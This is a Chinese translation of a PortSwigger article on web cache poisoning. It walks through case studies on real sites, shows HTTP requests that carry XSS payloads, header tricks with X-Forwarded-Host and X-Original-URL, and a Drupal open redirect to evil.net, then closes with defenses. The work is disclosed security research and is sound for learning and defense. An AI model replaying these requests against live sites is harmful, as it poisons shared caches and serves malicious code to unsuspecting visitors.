实战Web缓存投毒

前言

 

由于这整篇文章的篇幅较大,并且内容较深,我决定将原文拆分成两部分进行翻译:第一部分涉及投毒的基本原理和几个投毒的案例;第二部分涉及投毒的案例、解决办法和结论

 摘要

长期以来,web缓存投毒都是一个被人遗忘的漏洞,一种用于吓唬开发人员乖乖修复但是无人可实际利用的“理论”上的威胁。

在本文中,我将向大家展示如何通过使用深奥的web特性来将它们的缓存系统转变为漏洞利用代码(exploit)投放系统,每一位错误访问他们主页的用户都是这种攻击的目标。

 

我将结合让我我能够控制大量流行网站和架构的漏洞来说明和进一步扩展这种技术,从简单的单一请求攻击到劫持ja vasc ript,越过缓存层,颠覆社交媒体,误导云服务的复杂漏洞利用链。这篇文章也提供pdf格式,它同时是我的Black Hat USA presentation,因此幻灯片和视频将在适当的时候提供。

核心概念

 

缓存概念介绍(Caching 101)

要掌握缓存投毒技术,我们需要快速了解缓存的基本原理。 Web缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,我们可以看到三个用户一个接一个地获取相同的资源:
图片.png缓存技术旨在通过减少延迟来加速页面加载,还可以减少应用程序服务器上的负载。一些公司使用像Varnish这样的软件来托管他们自己的缓存,而其他公司选择依赖像Cloudflare这样的内容分发网络(CDN),缓存分布在世界各地。此外,一些流行的Web应用程序和框架(如Drupal)具有内置缓存。

 

还有其他类型的缓存,例如客户端浏览器缓存和DNS缓存,但它们不是本次研究的关注点。

缓存键(Cache keys)

缓存的概念可能听起来简单明了,但它隐藏了一些有风险的假设。每当缓存服务收到对资源的​​请求时,它需要确定它是否已经保存了这个指定资源的副本,并且可以使用该副本进行响应,或者是否需要将请求转发给应用程序服务器。

 

确定两个请求是否正在尝试加载相同的资源可能是很棘手的问题;对请求进行逐字节匹配的做法是完全无效的,因为HTTP请求充满了无关紧要的数据,例如请求头中的User-Agent字段:

 

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close

缓存使用缓存键的概念解决了这个问题 – 使用一些特定要素用于完全标识所请求的资源。在上面的请求中,我用红色高亮了典型的缓存键中包含的值。

这意味着缓存系统认为以下两个请求是等效的,并且将很乐意的使用从第一个请求缓存的响应来响应第二个请求:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close

因此,该页面将以错误的语言输出提供给第二位访问者。这揭示了以下的问题-由非缓存键导致的差异化响应都能够被存储并提供给其他用户。理论上来说,网站可以使用“Vary”响应头来指定额外应该加入到缓存键中的其他请求头。在实践中,对Vary响应头的使用仅停留在理论阶段,像Cloudflare这样的CDN完全忽略它,大家甚至没有意识到他们的应用程序支持任何基于请求头的输入。

这会导致大量意外的破坏,但当有人故意开始利用它时,这种乐趣才真正开始。

缓存投毒(Cache Poisoning)

 

Web缓存投毒的目的是发送导致有害响应的请求,将该响应将保存在缓存服务中并提供给其他用户。

图片.png在本文中,我们将使用不在缓存键中的输入(如HTTP请求头)来实现缓存投毒,这不是缓存投毒的唯一方法-你也可以使用HTTP响应拆分攻击和Request Smuggling攻击–但我认为本文讨论是最好的方法。请注意,Web缓存服务中还存在一种称为Web缓存欺骗的不同类型的攻击,不要和缓存投毒弄混了。

方法(Methodology)

 

我们将使用以下方法发现缓存投毒漏洞:

图片.png我将会先给出一个快速概述,然后在真实的网站演示漏洞如何生效,而不是试图在一开始就深入解析具体的技术细节。

第一步是识别非缓存键的输入。手动执行此操作非常繁琐,因此我开发了一个名为Param Miner的Burp Suite开源插件,通过猜测header/ cookie名称来自动执行此步骤,并观察它们是否对应用程序的响应产生影响。

 

在找到非缓存键输入之后,接下来的步骤就是去评估你可以造成多大的危害,然后尝试将其存储在缓存中,如果失败了,你需要更好地了解缓存的工作方式,并在重试之前搜索可缓存的目标页面。页面是否被缓存可以基于多种因素,包括文件扩展名,内容类型,路由,状态代码和响应头。

 

缓存的响应有可能掩盖住非缓存键的输入,因此如果您尝试手动检测或发现非缓存键的输入,一个缓存爆破工具(cache-buster)就是十分重要的了。如果加载了Param Miner,则可以通过向查询字符串添加值为随机($ randomplz)的参数来确保每个请求都具有唯一的缓存键。

 

在审计线上网站时,意外投毒对其他访问者来说是一种永久性危害。 Param Miner通过向来自Burp的所有出站请求添加缓存破坏(cache buster)来缓解这种情况。此缓存爆破工具具有固定值,因此您可以自己观察缓存行为,而不会影响其他用户。

实例研究(Case Studies)

让我们来看看这项技术应用于真实的线上网站时会发生什么。像往常一样,我特意选择对安全人员的测试有友好政策的网站。这里讨论的所有漏洞都已上报和被修补,但由于项目的“非公开”性质,我不得不去编纂一部分的内容。

 

其中许多案例研究在非缓存键输入的同时利用了XSS等辅助漏洞,谨记,如果没有缓存投毒漏洞,这些漏洞就没用了,因为没有可靠的方法强制其他用户在跨域请求中发送自定义请求头。这可能就是这些辅助漏洞如此容易发现的原因。

基本投毒概念(Basic Poisoning)

 

尽管缓存投毒听起来有着可怕的影响,但缓存投毒通常很容易被利用。首先,让我们来看看Red Hat的主页。 Param Miner马上发现了一个非缓存键的输入:

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<me ta property="og:image" content="https://canary/cms/social.png" />

在这里,我们可以看到应用程序使用X-Forwarded-Host请求头在me ta标签内生成了一个打开图片的URL。下一步是探索它是否可利用 – 我们将从一个简单的跨站点脚本payload开始:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><sc ript>alert(1)</sc ript>

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<me ta property="og:image" content="https://a."><sc ript>alert(1)</sc ript>"/> 

看起来不错 – 现在可以确定我们可以生成一个在任何浏览者的页面上执行任意ja vasc ript的响应。最后一步是检查此响应是否已存储在缓存服务中,以便将其分发给其他用户。不要让“Cache Control: no-cache”响应头阻止你 – 尝试去攻击总比假设它不起作用更好。你可以先通过重新发送没有恶意标头的请求进行验证,然后直接在另一台计算机上的浏览器中访问URL:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK
…
<me ta property="og:image" content="https://a."><sc ript>alert(1)</sc ript>"/>

尽管响应中没有任何表明缓存存在的响应头,但我们的漏洞利用代码(exploit)已经被明确的缓存的原因很简单:一次快速 的DNS查询解释了其中的缘由-www.redhat.comwww.redhat.com.edgekey.net的CNAME记录,表明它正在使用Akamai的CDN。

确定投毒时机(Discreet poisoning)

 

在这一点上,我们已经证明可以通过向https://www.redhat.com/en?dontpoisoneveryone=1投毒来进行攻击,以避免影响网站的实际的访问者。为了真正的向博客的主页投毒并将我们的漏洞利用代码(exploit)分发给所有后续访问者,我们需要确保在缓存的响应过期后我们发送的请求第一个达到主页。

可以尝试使用像Burp Intruder或自定义脚本之类的工具来发送大量请求,但这种笨重的方法是收效甚微的。攻击者可以通过对目标的缓存到期系统进行逆向工程并通过浏览文档和监控网站来预测准确的到期时间来解决这个问题,但这听起来就像是一项艰苦的工作。
幸运的是,许多网站让我们的漏洞人生简单许多。看看unity3d.com中的缓存投毒漏洞:

 

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<sc ript src="https://portswigger-labs.net/sites/files/foo.js"></sc ript>

 

在请求头中,我们有一个非缓存键输入 – X-Host请求头 – 被用于生成一个脚本导入的标签。响应头“Age”和“max-age”分别指定当前响应的时间和它将过期的时间。总之,这些告诉我们为确保我们的响应被缓存,我们应该发送的payload的确切时间。

选择性投毒(Selective Poisoning)

 

HTTP响应头节省了解缓存的内部工作原理的时间。拿下面这个是用了fastly cdn服务的著名网站举例:

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><if rame on load=alert(1)>

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<if rame on load=alert(1)>
</if rame> 

乍一看起来似乎与第一个例子是一样的。但是,Vary响应头告诉我们User-Agent头可能是缓存键的一部分,手工测试也证实了这一点。这意味着,因为我们声明使用的是Firefox 60,我们的漏洞利用代码(exploit)只会分发给其他Firefox 60用户。我们可以使用一系列受欢迎的User-Agent来确保大多数访问者将会接收到我们的漏洞利用代码(exploit),但这种表现使得我们可以更具选择性的去实施攻击。如果你知道了受害者的User-Agent,则可以向特定人员定制攻击,甚至可以在网站监控团队面前隐藏自己。

DOM 投毒(DOM Poisoning)

成功利用非缓存键的输入并不总是像复制黏贴xss payload那样简单,看下面这个例子:

 

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
<body data-site-root="https://canary/">

我们已经控制了’data-site-root’属性,但我们不能找到获得XSS的突破口,并且甚至不清楚这个属性的作用是什么。为了找到答案,我在Burp中创建了一个匹配然后替换的规则,为所有请求添加了“X-Forwarded-Host:id.burpcollaborator.net”请求头,然后浏览了该站点。当加载特定页面时,Firefox会将ja vasc ript生成的请求发送到我的服务器:

GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net

这条请求记录表明,在网站的某个地方,有一些ja vasc ript代码使用data-site-root的属性来确定从哪里加载一些网站语言的数据。我试图通过访https://catalog.data.gov/api/i18n/en来找出这些数据应该是什么样的,但只是收到了一个空的JSON响应。幸运的是,将’en’改为’es’的行为抛出了一丝丝线索:

 

GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov

HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}

该文件包含用于将短语翻译为用户所选语言的映射。通过创建我们自己的翻译文件并使用指向用户的缓存投毒,我们可以将短语翻译变成漏洞利用代码(exploit):

 

GET  /api/i18n/en HTTP/1.1
Host: portswigger-labs.net

HTTP/1.1 200 OK
...
{"Show more":"<svg on load=alert(1)>"}

这就是最终结果?任何查看包含“显示更多”文字的网页的人都会被利用。

劫持Mozilla SHIELD(Hijacking Mozilla SHIELD)

我配置的“X-Forwarded-Host”匹配/替换规在帮助我解决上一个漏洞利用问题的同时产生意想不到的额外效果。除了来自catalog.data.gov的交互之外,我还收到了一段非常神秘的内容:

 

GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net

自身发出origin:null的请求头情况非常的少见,我以前从未见过浏览器发出完全小写的Origin请求头。通过筛选proxy历史记录,发现罪魁祸首是Firefox本身。 Firefox会试图获取一份“recipes”列表,作为SHIELD系统的一部分,用于静默安装扩展以用于营销和研究目的。该系统曾因强行分发“Mr Robot’”扩展而闻名,引起了用户的强烈不满。无论如何,看起来X-Forwarded-Host请求头欺骗了这个系统,将Firefox引导到我自己的网站以获取recipes:

 

GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net

HTTP/1.1 200 OK
{
  "action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
  "action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
  "recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
  "recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
   …
}

recipes看起来是这样的:

[{
  "id": 403,
  "last_updated": "2017-12-15T02:05:13.006390Z",
  "name": "Looking Glass (take 2)",
  "action": "opt-out-study",
  "addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
  "filter_ex pression": "normandy.country in  ['US', 'CA']\n && normandy.version >= '57.0'\n)",
  "desc ription": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]

该系统使用NGINX进行缓存,自然很乐意保存我投毒的响应并将其提供给其他用户。 Firefox在浏览器打开后不久就会抓取此URL并定期重新获取它,最终意味着所有数以千万的Firefox日常用户最终都可能从我的网站上获取recipes。

这提供了多种可能。 Firefox所使用的recipes已经做了签名,所以我不能通过只安装恶意插件然后获得完整的代码执行,但我可以将数以千万的真正用户指向我选择的URL。显而易见,这除了可以被利用于DDoS,如果适当的和内存损坏漏洞相结合,这将是非常严重的问题。此外,一些后端Mozilla系统使用非签名的recipes,这可以被用于在其基础设施内部获得稳定的切入点并可能获得recipes的签名密钥。此外,我可以重放我选择的旧recipes,这可能会大规模的强制安装旧包含知有漏洞的扩展,或者导致‘Mr Robot’的意外回归。

我向Mozilla报告了这一问题,他们在24小时内修补了他们的基础设施,但是在漏洞的严重程度上存在一些分歧,因此只获得了1000美元的奖励。

路由投毒(Route poisoning)

 

有些应用程序不仅无知地使用请求头生成URL,而且无知地将它们用于内部请求路由:

 

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary

HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>

Goodhire.com显然是托管在HubSpot上的,而HubSpot提供优先级高于主机host 请求头的X-Forwarded-Server请求头,并且疑惑于这个请求用于哪个用户。虽然我们的输入在响应页面种回显,但它是HTML编码的,所以直接的XSS攻击在这里不起作用。要成功利用这一点,我们需要访问hubspot.com,注册为HubSpot用户,在我的HubSpot主页上放置一个payload,并且最终欺骗HubSpot在goodhire.com上提供此响应:

 

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com

HTTP/1.1 200 OK
…
<sc ript>alert(document.domain)</sc ript>

Cloudflare将乐意缓存此响应,并将其提供给后续访问者。 然而在将此报告上交给HubSpot之后,HubSpot通过永久封掉我的IP地址来解决问题。经过一番鼓动后,他们还是修补了漏洞。

像这样的内部错误路由漏洞在这些单个系统处理针对许多不同客户的请求的应用程序(SaaS应用程序)中特别常见。

 

实例研究(Case Studies)

隐蔽的路由投毒(Hidden Route Poisoning)

路由投毒漏洞并不总是清晰明了的:

 

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary

HTTP/1.1 302 Found
Location: https://ghost.org/fail/ 

Cloudflare的博客托管于Ghost,Ghost使用X-Forwarded-Host请求头来实现某些功能。你可以通过指定另一个可识别的主机名(例如blog.binary.com)来避免“失败”重定向,但在正常的blog.cloudflare.com响应之前,会有神秘的10秒延迟。乍一看,没有明显的方法来利用这一漏洞。

当用户首次使用Ghost注册博客时,它会在ghost.io域名下注册唯一的子域。一旦博客启动并运行,用户就可以定义像blog.cloudflare.com这样的任意自定义域名。如果用户定义了自定义域,则ghost.io子域将简单的重定向到自定义域名:

 

GET / HTTP/1.1
Host: noshandnibble.ghost.io

HTTP/1.1 302 Found
Location: http://noshandnibble.blog/

至关重要的是,也可以使用X-Forwarded-Host请求触发此重定向:

 

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io

HTTP/1.1 302 Found
Location: http://noshandnibble.blog/

通过注册我自己的ghost.org帐户并设置自定义域名,我可以将发送到blog.cloudflare.com的请求重定向到我自己的网站:waf.party。这意味着我可以劫持像图像一类的资源负载:

5.png

接下来的步骤,重定向ja vasc ript加载来获得对blog.cloudflare.com的完全控制的过程被一个巧合所阻挠-如果你仔细观察这个重定向,你会发现它使用HTTP而博客是通过HTTPS加载的,这意味着浏览器的混合内容(Mixed Content)保护机制会被触发并阻止脚本/样式表的重定向。

我找不到任何技术方法让Ghost发出HTTPS重定向,并且打算无所顾忌的向Ghost报告他们使用HTTP而不是HTTPS跳转的漏洞,既希望于他们可以为我加上HTTPS的跳转。最终,我决定将问题复制一份并将其在hackxor上以现金奖励众包的模式来寻找解决方案。第一份解决方案是Sajjad Hashemian发现的,他发现在Safari中如果waf.party在浏览器的HSTS cache中,重定向将自动升级到HTTPS而不是被阻断,基于Manuel Caballero的工作,Sam Thomas跟进了Edge的解决方案 – 指出302重定向到HTTPS URL可以完全绕过了Edge的混合内容保护机制。

总而言之,对于Safari和Edge用户,我可以投毒危害blog.cloudflare.com,blog.binary.com和其他所有ghost.org用户上的每个页面。对于Chrome / Firefox用户,我只能劫持图像。尽管我使用如上Cloudflare的截图作为漏洞证明,因为这是第三方系统中的一个问题,我选择通过Binary报告它,因为他们的bug赏金计划支付现金,不像Cloudflare的赏金计划。

串联非缓存键输入(Chaining Unkeyed Inputs)

有得时候,单一的非缓存键输入只能够混淆应用程序调用堆栈的一部分,并且您需要串联其他非缓存键的输入以达到可利用的结果。参考下面的网站:

 

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz

X-Forwarded-Host请求头重写了cookie上domain的值,但在响应的其余部分中没有生成任何URL。只是这样一种情况就是难以利用的了。但是,还有另一个非缓存键输入:

 

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en

这样的输入也是无用的,但如果我们将两者结合在一起,我们可以将响应转换为重定向到任意域:

 

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en 

使用此技术,可以通过重定向POST请求从自定义HTTP请求头中窃取CSRF令牌。我还可以包含对JSON加载的恶意响应来获得存储型的DOM–XSS漏洞,类似于前面提到的data.gov的漏洞。

Open Graph 劫持(Open Graph Hijacking)

在另一个站点上,非缓存键的输入仅仅影响Open Graph URL:

 

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<me ta property="og:url" content='https://attacker.com/en'/>

Open Graph是一种由Facebook创建的协议,允许网站所有者决定他们的内容在社交媒体上被共享时会发生什么。我们在这里被劫持的og:url参数有效地覆盖了共享的URL,因此任何共享被投毒页面的人实际上最终都会共享我们选择共享的内容。

正如你所见,应用程序设置了’Cache-Control:private’,所以Cloudflare会拒绝缓存此类响应。幸运的是,网站上的其他页面明确的启用了缓存:

 

GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS

这里的’CF-Cache-Status’请求头是Cloudflare正在考虑缓存此响应的指示器,但尽管如此,响应从未实际缓存过。我推测Cloudflare拒绝缓存这个可能与session_id cookie有关,并且使用该cookie重试:

 

GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<me ta property="og:url" 
content='https://attacker.com/…

这最终达到了缓存响应的目的,虽然后来证明我可以通过阅读Cloudflare的缓存文档而不是猜测的方法来实现这个目的。

尽管有响应被缓存,但“分享”结果仍然没有投毒成功; Facebook显然没有访问到我向投毒的特定的Cloudflare缓存。为了确定我需要向哪个缓存投毒,我利用了所有Cloudflare站点上都有的一个有用的调试功能 – /cdn-cgi/trace:

6.png

看这里,colo = AMS的一行显示Facebook已经通过在阿姆斯特丹的缓存访问了waf.party。目标网站是通过亚特兰大访问的,所以我在那里租了2美元/月的VPS并再次尝试投毒:

7.png

在这些之后,任何试图在其网站上共享各种页面的人最终都会分享我选择的内容。这是一个经过严格修改的攻击视频:

https://portswigger.net/cms/videos/49/7c/9ace115de5b2-opengraph.mp4

本地路由劫持(Local Route Poisoning)

到目前为止,我们已经见识到了基于cookie的语言劫持,并且使用各种请求头重写host造成的一系列攻击灾难。在这一点的研究上,我还发现了一些使用奇怪的非标准的请求头的变体,例如’translate’,’bucket’和’path_info’,而且我怀疑我遗漏了许多其他请求头。在我通过下载并搜索GitHub上的前20,000个PHP项目以获取请求头名称来扩展请求头字典之后,事件取得了重大进展。

这暗示了X-Original-URL和X-Rewrite-URL请求头会覆盖了请求的路径。我第一次注意到它们会影响目标是在运行Drupal时,并且通过挖掘Drupal的源代码显示对此请求头的支持来自流行的PHP框架Symfony,它的作用是从Zend获取代码。最终结果就是大量的PHP应用程序无意中支持这些请求头。在我们尝试使用这些请求头进行缓存投毒之前,我认为它们也非常适合绕过WAF和安全规则:

 

GET /admin HTTP/1.1
Host: unity.com

HTTP/1.1 403 Forbidden
...
Access is denied
GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin

HTTP/1.1 200 OK
...
Please log in

如果应用程序使用缓存服务,则可以滥用这些请求头以将其混淆来提供不正确的页面。例如,此请求的缓存键为/ education?x = y,但是从/ gambling?x = y取回内容:

图片.png最终结果是,在发送此请求后,任何试图访问Unity for Education页面的人都会收到一份小惊喜:

图片.png页面偷天换日的能力在不失严重性的同时更加有趣,但也许它在更大的利用链中占有一席之地。

内部缓存投毒(Internal Cache Poisoning)

Drupal通常和Varnish等第三方缓存一起使用,但它也包含默认启用的内部缓存。此缓存机制众所周知X-Original-URL请求头并将其包含在其缓存键中,但是犯了将此请求头中的查询字符串包含进缓存键中的错误:
图片.png虽然之前的攻击让我们用另一个路径替换路径,但是这个攻击让我们重写了查询的字符串:

 

GET /search/node?keys=kittens HTTP/1.1

HTTP/1.1 200 OK
…
Search results for 'snuff'

这更有希望,但它仍然非常有限 – 我们需要第三种要素来实现攻击。

Drupal开放重定向(Drupal Open Redirect)

在阅读Drupal URL-override代码时,我注意到一个风险极高的特性 – 在所有重定向响应中,你可以使用’destination’查询参数覆盖掉重定向的目标。 Drupal尝试进行一些URL解析以确保它不会重定向到外部域名,但这很容易被绕过:

 

GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com

HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/

Drupal在路径中发现了双斜杠//并试图发出重定向到/来规范化它,然后目标参数生效。Drupal认为目标URL告诉人们使用用户名’evil.net’访问unity.com。但实际上,网站浏览器会在自动将转换为/,并将用户导航到evil.net/@unity.com上。

再一次,一个本身并不令人兴奋的开放重定向,但现在我们终于构建出了一个严重漏洞利用代码。

持续重定向攻击(Persistent redirect hijacking)

我们可以将参数覆盖攻击与开放的重定向结合起来,以持久地劫持任何重定向。 Pinterest商业网站上的某些页面恰好通过重定向导入ja vasc ript。以下请求以蓝色显示的缓存条目投毒,参数显示为橙色:

 

GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1

这劫持了ja vasc ript导入的目的地址,让我可以完全控制business.pinterest.com上的某些静态页面:

 

GET /foo.js?v=1 HTTP/1.1

HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/

嵌套缓存投毒(Nested cache poisoning)

其他Drupal站点不那么容易利用,也不会通过重定向导入任何重要的资源。幸运的是,如果站点使用外部缓存(几乎所有访问量的Drupal站点),我们可以使用内部缓存来投毒外部缓存,并在此过程中将任何响应转换为重定向。这是一种两阶段的攻击。首先,我们向内部缓存投毒以用恶意重定向来替换/ redir:

 

GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir

接下来,我们向外部缓存投毒来将 /download?v=1替换为我们上一步投毒的/redir:

 

GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir

最终效果就是在unity.com上点击“下载安装程序”会从evil.net下载一些机会性恶意软件。此技术还可用于许多其他攻击,包括将欺骗性条目插入RSS源,使用网络钓鱼页替换登录页,以及通过动态脚本导入存储型XSS。
下面是一个在Drupal安装过程中的这种攻击的视频:

https://portswigger.net/cms/videos/5b/fe/e952b9f0eb55-drupaldemo.mp4

此漏洞已于2018-05-29向Drupal,Symfony和Zend团队披露,并且在您阅读本文时,通过协调的补丁的发布这些请求头已经有希望被禁止。

跨云投毒(Cross-Cloud Poisoning)

正如您可能已经猜到的,这些漏洞报告中的一些报告引发了有趣的回应和响应。

使用CVSS的评分机制对我提交的漏洞进行分析,CloudFront缓存投毒漏洞在实现利用的复杂性为“高”,因为攻击者可能需要租用几个VPS才能完成向所有CloudFront的缓存投毒。我坚持尝试去找出是什么导致了在漏洞利用上的高代价,我把这作为一个探讨是否可以在不依赖VPS的情况下进行跨区域攻击的机会。

事实证明,CloudFront有一个实用的缓存地图,并且可以使用从大量地理位置发出DNS查询请求的免费在线服务轻松识别出它们的IP地址。从你舒适的卧室向特定区域投毒就像使用curl / Burp的主机名重写特性将攻击路由到其中一个IP一样简单。

由于Cloudflare有着更多的区域缓存,我决定也看看它们。 Cloudflare在网上发布了他们所有的IP地址列表,因此我编写了一个快速处理脚本,通过每个IP请求waf.party/cgn-cgi/trace并记录我命中的缓存:

curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'

这表明,当目标为waf.party(服务器在爱尔兰)时,我可以从曼彻斯特的家中命中以下缓存:

104.28.19.112 LHR    172.64.13.163 EWR    198.41.212.78 AMS
172.64.47.124 DME    172.64.32.99 SIN     108.162.253.199 MSP
172.64.9.230 IAD     198.41.238.27 AKL    162.158.145.197 YVR

 

防御(Defense)

针对缓存投毒的最强大防御办法就是禁用缓存。对于一些人来说,这显然是不切实际的建议,但我推测很多网站开始使用Cloudflare等服务的目的是进行DDoS保护或简化SSL的过程,结果就是容易受到缓存投毒的影响,因为默认情况下缓存是启动的。

如果您对确定哪些内容是“静态”的足够确认,那么只对纯静态的响应进行缓存也是有效的。

同样,避免从请求头和cookie中获取输入是防止缓存投毒的有效方法,但很难知道其他层和框架是否在偷偷支持额外的请求头。因此,我建议使用Param Miner审计应用程序的每个页面以清除非缓存键的输入。

一旦在应用程序中识别出非缓存键的输入,理想的解决方案就是彻底禁用它们。如果不能这样做,您可以在缓存层中剥离该输入,或将它们添加到缓存键。某些缓存允许您使用Vary请求头来输入非缓存键的输入,而另外一些缓存允许您定义自定义缓存键,但可能会将此功能限制为“企业”客户。

最后,无论您的应用程序是否使用缓存技术,你的某些客户端可能在其末端都存在缓存,因此不应忽视HTTP请求头中的XSS等客户端漏洞。

结论(Conclusion)

Web缓存投毒绝非理论上的漏洞,复杂的应用程序和越来越深的服务器调用栈正在悄悄的将它带到大众的面前。我们已经看到,即使是知名的框架也可能隐藏了危险的普遍存在的特性的,从而证实,因为它是开源的并且拥有数百万用户,就假设其他用户就已经阅读了它的源代码,这样是不安全的。我们还看到在网站前端放置缓存的行为是如何将其从完全安全转变成极易受到攻击的状态。我认为这是一个更大趋势的一部分,随着网站越来越依赖于辅助系统,对他们的安全状况单独进行评估将越来越难。

最后,我为人们测试他们学到的知识构建了一个小挑战,并期待看到其他研究人员在将来都能掌握web缓存投毒。

 

本文翻译自 portswigger.net, 原文链接 。如若转载请注明出处。 

原文链接:https://www.anquanke.com/post/id/156551

posted @ 2019-03-30 11:25  linuxsec  阅读(465)  评论(0编辑  收藏